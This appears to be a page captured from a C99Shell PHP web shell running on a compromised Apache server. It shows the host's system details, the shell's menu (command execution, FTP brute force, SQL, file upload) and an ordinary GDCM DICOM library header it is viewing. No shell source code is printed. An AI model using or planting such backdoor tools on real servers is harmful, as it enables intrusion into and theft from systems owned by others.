!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/include/gdcm-3.0/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     gdcmCodeString.h (3.67 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*=========================================================================

  Program: GDCM (Grassroots DICOM). A DICOM library

  Copyright (c) 2006-2011 Mathieu Malaterre
  All rights reserved.
  See Copyright.txt or http://gdcm.sourceforge.net/Copyright.html for details.

     This software is distributed WITHOUT ANY WARRANTY; without even
     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
     PURPOSE.  See the above copyright notice for more information.

=========================================================================*/
#ifndef GDCMCODESTRING_H
#define GDCMCODESTRING_H

#include "gdcmString.h"

namespace gdcm
{

/**
 * \brief CodeString
 * \details This is an implementation of DICOM VR: CS
 * The cstor will properly Trim so that operator== is correct.
 *
 * \note the cstor of CodeString will Trim the string on the fly so as
 * to remove the extra leading and ending spaces. However it will not
 * perform validation on the fly (CodeString obj can contains invalid
 * char such as lower cases). This design was chosen to be a little tolerant
 * to broken DICOM implementation, and thus allow user to compare lower
 * case CS from there input file without the need to first rewrite them
 * to get rid of invalid character (validation is a different operation from
 * searching, querying).
 * \warning when writing out DICOM file it is highly recommended to perform
 * the IsValid() call, at least to check that the length of the string match
 * the definition in the standard.
 */
// Note to myself: because note all wrapped language support exception
// we could not support throwing an exception during object construction.
class GDCM_EXPORT CodeString
{
  friend std::ostream& operator<< (std::ostream& os, const CodeString& str);
  friend bool operator==(const CodeString &ref, const CodeString& cs);
  friend bool operator!=(const CodeString &ref, const CodeString& cs);
  typedef String<'\\',16> InternalClass;
public:
  typedef InternalClass::value_type             value_type;
  typedef InternalClass::pointer                pointer;
  typedef InternalClass::reference              reference;
  typedef InternalClass::const_reference        const_reference;
  typedef InternalClass::size_type              size_type;
  typedef InternalClass::difference_type        difference_type;
  typedef InternalClass::iterator               iterator;
  typedef InternalClass::const_iterator         const_iterator;
  typedef InternalClass::reverse_iterator       reverse_iterator;
  typedef InternalClass::const_reverse_iterator const_reverse_iterator;

  /// CodeString constructors.
  CodeString(): Internal() {}
  CodeString(const value_type* s): Internal(s) { Internal = Internal.Trim(); }
  CodeString(const value_type* s, size_type n): Internal(s, n) {
    Internal = Internal.Trim(); }
  CodeString(const InternalClass& s, size_type pos=0, size_type n=InternalClass::npos):
    Internal(s, pos, n) { Internal = Internal.Trim(); }

  /// Check if CodeString obj is correct..
  bool IsValid() const;

  /// Return the full code string as std::string
  std::string GetAsString() const {
    return Internal;
  }

  /// Return the size of the string
  size_type Size() const { return Internal.size(); }

protected:
  std::string TrimInternal() const {
    return Internal.Trim();
  }

private:
  String<'\\',16> Internal;
};

inline std::ostream& operator<< (std::ostream& os, const CodeString& str)
{
  os << str.Internal;
  return os;
}

inline bool operator==(const CodeString &ref, const CodeString& cs)
{
  return ref.Internal == cs.Internal;
}
inline bool operator!=(const CodeString &ref, const CodeString& cs)
{
  return ref.Internal != cs.Internal;
}


} // end namespace gdcm

#endif //GDCMCODESTRING_H

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--